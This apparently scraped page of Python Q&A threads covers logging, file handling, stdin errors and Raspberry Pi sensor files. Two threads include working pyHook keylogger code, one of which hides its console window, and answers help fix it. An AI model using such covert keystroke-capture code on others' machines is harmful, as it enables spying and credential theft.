File handling in Python: being used by another process - python

Well i made this script that its supouse to logg some keystrokes for a while save them in a file and then erase the file if the user want to however when the script tryes to delete the file i get this error.
Traceback (most recent call last):File
"C:\Users\Tormentor\Desktop\S.D.A.K.L\pregunta.py", line 34, in
os.remove(path2+"\"+name) PermissionError: [WinError 32] The
process cannot access the file because it is being used by another
process:'C:\Users\Public\myfile.txt'
I made some research and i think that it cant be deleted because my "snp" function never closes the file where the keystrokes are logged so how can i close the file to delete it?
Thanks for your help :).
import os
import time
import pyHook, pythoncom, sys, logging
path="C:\\Users\\Public\\myfile.txt"
path2="C:\\Users\\Public"
name="myfile.txt"
TinM=10
def snp(event): #<---------- Not closing file ???
global path
logging.basicConfig(filename=path, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
timeout=time.time()+TinM
while timeout > time.time():
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = snp
hooks_manager.HookKeyboard()
print("Logging keystrokes")
pythoncom.PumpWaitingMessages()
else:
hooks_manager.UnhookKeyboard()
x=input("Keylogger stoped do you want to delete the archive? y / n")
if x == "y":
for(path2,dirs,files) in os.walk(path2):
if name in files:
os.remove(path2+"\\"+name) # <----- This line triggers the error.
print("Archive deleted. Goodbye")
else:
print("Archive does not exist or cant be found goodbye! :D")
else:
print("Goodbye! :D")

The file is being held open by your own process.
logging.basicConfig(filename=path, level=logging.DEBUG...
opens the file specified by filename. It does not close it until the process exits, or logging.shutdown() is called, so you could call shutdown() in your snp() function.
However, that requires that logging be initialised every time that a key is pressed, which is very inefficient. A better design would be to call logging.basicConfig() once in the main part of your script, and to call logging.shutdown() prior to removing the file. Your snp() function then becomes:
def snp(event):
logging.log(logging.DEBUG, chr(event.Ascii))
return True
and the main part of the script:
logging.basicConfig(filename=path, level=logging.DEBUG, format='%(message)s')
timeout=time.time()+TinM
while timeout > time.time():
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = snp
hooks_manager.HookKeyboard()
print("Logging keystrokes")
pythoncom.PumpWaitingMessages
hooks_manager.UnhookKeyboard()
logging.shutdown()
x=input("Keylogger stoped do you want to delete the archive? y / n")
if x == "y":
for(path2,dirs,files) in os.walk(path2):
if name in files:
os.remove(path2+"\\"+name) # <----- This line triggers the error.
print("Archive deleted. Goodbye")
else:
print("Archive does not exist or cant be found goodbye! :D")
else:
print("Goodbye! :D")
Note that I also removed the else clause from the while statement because it is always executed for the code that you show.

Related

Python File Handler with Rotating Content of File

I have written a simple logging program that attaches anything I send to it to a file:
def log(message):
with open ("log.txt", 'a+') as f:
f.write(message + "\n")
However, I would like to limit how big this file gets. When it gets to the maximum size, I would like for it to remove the first lines and append at the bottom.
Is this possible with a file handler or do I need to code it myself? I am also fine using a rotating file handler, but all the examples I have seen let the environment write exceptions automatically after setting a level, and I need to control what is written to the file.
Many thanks in advance!
This is an example of using python's built in RotatingFileHandler:
import logging
from logging.handlers import RotatingFileHandler
# change to a file you want to log to
logFile = 'log_r.log'
my_handler = RotatingFileHandler(logFile, mode='a', maxBytes=5*1024*1024,
backupCount=2, encoding=None, delay=0)
my_handler.setLevel(logging.INFO)
app_log = logging.getLogger('root')
app_log.setLevel(logging.INFO)
app_log.addHandler(my_handler)
def bad():
raise Exception("Something bad")
if __name__ == "__main__":
app_log.info("something")
try:
app_log.info("trying to run bad")
bad()
except Exception as e:
app_log.info("That was bad...")
finally:
app_log.info("Ran bad...")
The behaviour is slightly different to your proposed behaviour as it doesn't delete from the start of the file, instead moving the file to a different filename and starting from scratch.
Note that the only things that show in the log file when you run this are the pieces of text we're logging explicitly - i.e. no system junk you don't want.

how to use sys.stdin.read() in python

I,m trying to save multiple texts user enter in a db using peewee module but it give me EOFError when i press ctrl+d in console.I think problem is whit sys.stdin.read().anyway can anyone help me fix this?
here is the code:
#!/user/bin/env python3
from peewee import *
import sys
import datetime
from collections import OrderedDict
db = SqliteDatabase('diary.db')
class Entry(Model):
content = TextField()
timestamp = DateTimeField(default=datetime.datetime.now) # no ()
class Meta:
database = db
def intitalize():
'''create database and table if not exists'''
db.connect()
db.create_tables([Entry], safe=True)
def menu_loop():
'''show menu'''
choice = None
while choice != 'q':
print("enter 'q' to quit")
for key, value in menu.items():
print('{}) {}'.format(key, value.__doc__))
choice = input('action: ').lower().strip()
if choice in menu:
menu[choice]()
def add_entry():
'''add an entry'''
print("Enter your entry. press ctrl+d when finished")
data = sys.stdin.read().strip()
if data:
if input('Save Entry?[Yn]').lower()!='n':
Entry.create(content=data)
print('saved successfully')
def view_entry():
'''view entries'''
def delete_entry():
'''delete an entry'''
menu = OrderedDict([
('a', add_entry),
('v', view_entry),
])
if __name__ == '__main__':
intitalize()
menu_loop()
here is error i get in pycharm:
enter 'q' to quit
a) add an entry
v) view entries
action: a
Enter your entry. press ctrl+d when finished
some text
and more
^D
Save Entry?[Yn]Traceback (most recent call last):
File "C:/Users/Xylose/Desktop/small lab/peewee/venv/dairy.py", line 61, in <module>
menu_loop()
File "C:/Users/Xylose/Desktop/small lab/peewee/venv/dairy.py", line 34, in menu_loop
menu[choice]()
File "C:/Users/Xylose/Desktop/small lab/peewee/venv/dairy.py", line 42, in add_entry
if input('Save Entry?[Yn]').lower()!='n':
EOFError: EOF when reading a line
Process finished with exit code 1
in Python the
EOFError: EOF when reading a line
there is 2 reason for this error
1.reading the file in the wrong way/format
import sys
for line in sys.stdin:
print (line)
this how we can read using "sys.stdln"
2.there is another chance for the same error if the file is corrupted
Reading from stdin after Ctrl-D is normally allowed, but I have tested this only on Ubuntu (code similar to yours works perfectly well). I see that this is being run on Windows and the Windows console might behave differently and refuse any read() operations after Ctrl-D. One possible solution is to capture the EOFError exception with a try/except statement and close and re-open sys.stdin when the exception occurs. Something like this:
# note: check that sys.stdin.isatty() is True!
try:
# read/input here
except EOFError:
sys.stdin.close()
sys.stdin = open("con","r")
continue # or whatever you need to do to repeat the input cycle

Python code error when making keylogger (educational purposes only)

So I am trying to make a Keylogger (educational purposes only) and here my code
#!/usr/bin/env python
import pyHook
import pythoncom
import win32gui
import win32console
import time
import smtplib, os
log_file = "d:\control.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages()
after running the code I get a couple errors like this
Traceback (most recent call last):
File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Python278\logger.pyw", line 22, in pressed_chars
f.write(char) # (write char)
ValueError: I/O operation on closed file
I made it so that whenever I pressed the Character 'Q' the program would end recording the keystrokes. But if I enter the following code: "exit()" between lines 19-20, the program works fine but exits before it can do anything else. I have been trying to solve it on my own, but I can't seem to get it to work the way I want it to. Any Ideas? Using Python 2.7.8 by the way.
If the char is "q", you close the file. 'if char == "q": # (if char is q)'
Try to make a if .. elif .. else.
Btw, I prefere with open() (see more at: for line in open(filename))

raw_input() and sys.stdin misbehaves on CTRL-C

I am trying to detect a KeyboardInterrupt exception when CTRL-C is pressed during a raw_input() prompt. Normally the following code works just fine to detect the command:
try:
input = raw_input("Input something: ")
except KeyboardInterrupt:
do_something()
The problem comes when trying to intercept the input from sys.stdin. After adding some code in between raw_input() and sys.stdin, the CTRL-C command now results in two exceptions: EOFError followed by KeyboardInterrupt a line or two later. This is the code used to test:
import sys
import traceback
class StdinReplacement(object):
def __init__(self):
self.stdin = sys.stdin
sys.stdin = self
def readline(self):
input = self.stdin.readline()
# here something could be done with input before returning it
return input
if __name__ == '__main__':
rep = StdinReplacement()
while True:
info = None
try:
try:
input = raw_input("Input something: ")
print input
except:
info = sys.exc_info()
print info
except:
print '\n'
print "0:", traceback.print_traceback(*info)
print "1:", traceback.print_exception(*sys.exc_info())
Which results in the following being printed out:
0:Traceback (most recent call last):
File "stdin_issues.py", line 19, in <module>
input = raw_input("Input something: ")
EOFError: EOF when reading a line
None
1:Traceback (most recent call last):
File "stdin_issues.py", line 23, in <module>
print info
KeyboardInterrupt
Am I missing something obvious? Maybe intercepting the input in a bad way?
Found this fairly old page which seems like the same issue. No solution though:
https://mail.python.org/pipermail/python-list/2009-October/555375.html
Some environment details:
Python 2.7.3 (64-bit),
Windows 7 SP1 (64-bit)
------------------------------------------------------------------------
EDIT:
An update to the readline method of StdinReplacement fixed the issue.
def readline(self):
input = self.stdin.readline()
# here something could be done with input before returning it
if len(input) > 0:
return input
else:
return '\n'
It seems like the problem is that your readline method returns an empty line, thus signaling the end of file:
import sys
class Test(object):
def readline(self):
return ''
sys.stdin = Test()
raw_input('') # EOFError!
However modifying it such that it doesn't return an empty line makes the code work:
import sys
class Test(object):
def readline(self):
return '\n' # or 'a', or whatever
sys.stdin = Test()
raw_input('') # no error
The readline method should return an empty string only when the file finished. The EOFError is used to mean exactly this: raw_input expected the file to contain a line, but the file ended.
This is due to the call to PyFile_GetLine found at the end of the implementation of raw_input:
return PyFile_GetLine(fin, -1);
According to the documentation of PyFile_GetLine(PyObject *p, int n):
If n is less than 0, however, one line is read regardless of length,
but EOFError is raised if the end of the file is reached immediately.
Since it passes -1 as n the EOFError is raised when the EOF is found (i.e. you return an empty string from readline).
As far as I can tell the behaviour you see is only possible if you insert the input and also create an interrupt. Pressing only Ctrl+C doesn't generate any EOFError (at least on linux).

Python failure file handling freeze

I am using a python script to transfer the contents of three files to a different three files. The original files are data from three thermometers I have connected to an RPI running raspian. All the script is supposed to do is take the contents of the files and move them so that I can have another program (ComScript) read and parse them.
My problem is that if one or more of the thermometers is disconnected before the script starts, it freezes. It doesn't freeze if I disconnect a thermometer while the script is running.
Here is the code
import time
a = 1
while a == 1:
try:
tfile = open("/sys/bus/w1/devices/28-000004d2ca5e/w1_slave")
text = tfile.read()
tfile.close()
temperature = text
tfile2 = open("/sys/bus/w1/devices/28-000004d2fb20/w1_slave")
text2 = tfile2.read()
tfile2.close()
temperature2 = text2
tfile3 = open("/sys/bus/w1/devices/28-000004d30568/w1_slave")
text3 = tfile3.read()
tfile3.close()
temperature3 = text3
textfile = open("/home/pi/ComScriptPi/profiles/Temperature_parse/w1_slave1", "w ")
textfile2 = open("/home/pi/ComScriptPi/profiles/Temperature_parse/w1_slave2", "w ")
textfile3 = open("/home/pi/ComScriptPi/profiles/Temperature_parse/w1_slave3", "w ")
temperature = str(temperature)
temperature2 = str(temperature2)
temperature3 = str(temperature3)
textfile.write(temperature)
textfile2.write(temperature2)
textfile3.write(temperature3)
textfile.close()
textfile2.close()
textfile3.close()
print temperature
print temperature2
print temperature3
time.sleep(3)
except:
pass
I added the exception pass because I need it to keep running even if it gets bad values. WHen one of the thermometers is disconnected the file python is trying to read is blank, but still there.
Remove the blanket except.
Your script is not freezing, but any error you get is being ignored in an endless loop. Because you use a blanket except: you catch all exceptions, including the keyboard interrupt exception KeyboardInterrupt.
At the very least log the exception, and catch only Exception:
except Exception:
import logging
logging.exception('Oops: error occurred')
KeyboardInterrupt is a subclass of BaseException, not Exception and won't be caught by this except handler.
Take a look at the shutil module for copying files, you doing way too much work:
import time
import shutil
import os.path
paths = ('28-000004d2ca5e', '28-000004d2fb20', '28-000004d30568')
while True:
for i, name in enumerate(paths, 1):
src = os.path.join('/sys/bus/w1/devices', name, 'w1_slave')
dst = '/home/pi/ComScriptPi/profiles/Temperature_parse/w1_slave{}'.format(i)
try:
shutil.copyfile(src, dst)
except EnvironmentError:
import logging
logging.exception('Oops: error occurred')
time.sleep(3)
Handling files should only ever raise EnvironmentError or it's subclasses, there is no need to catch everything here.
The open of the unplugged device is most likely blocking because the device driver won't open if the device is not present.
You'll need to use os.open which is the equivalent of the Unix system call "open" and specify the flag O_NONBLOCK and check the return code. You can then use os.fdopen to turn the return value of os.open into a normal Python file object.

Categories

Resources